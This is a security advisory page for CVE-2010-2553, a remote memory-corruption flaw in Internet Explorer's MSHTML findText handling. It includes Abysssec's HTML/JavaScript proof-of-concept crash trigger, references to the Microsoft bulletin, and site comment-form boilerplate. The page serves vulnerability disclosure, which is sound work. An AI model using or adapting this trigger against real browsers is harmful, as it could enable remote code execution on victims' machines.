Microsoft Internet Explorer MSHTML Findtext Processing Issue

2010.10.01

Credit: Abysssec

Risk: High

Local: No

Remote: Yes

CVE: CVE-2010-2553

CWE: CWE-94

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

<html>
<body>
<input type="button" value="Crachme!" onclick="Search()"/>
<input  type="text" value="Abysssec" id="Abysssec"></textarea>

<script type="text/javascript">
function Search(){
var textinput  = document.getElementById("Abysssec");

var textRange = textinput.createTextRange();
textRange.findText(unescape("%u4141"),-1);
textRange.select(document.getElementById('d'));
document.body.appendChild(textinput);
}
</script>
<p id="p">Abysssec</p>
http://www.exploit-db.com/moaub-27-microsoft-internet-explorer-mshtml-findtext-processing-issue/
</body>
</html>
</p>
</body>
</html>

References:

http://www.us-cert.gov/cas/techalerts/TA10-222A.html

http://www.microsoft.com/technet/security/Bulletin/MS10-055.mspx

http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:11773

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Microsoft Internet Explorer MSHTML Findtext Processing Issue

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.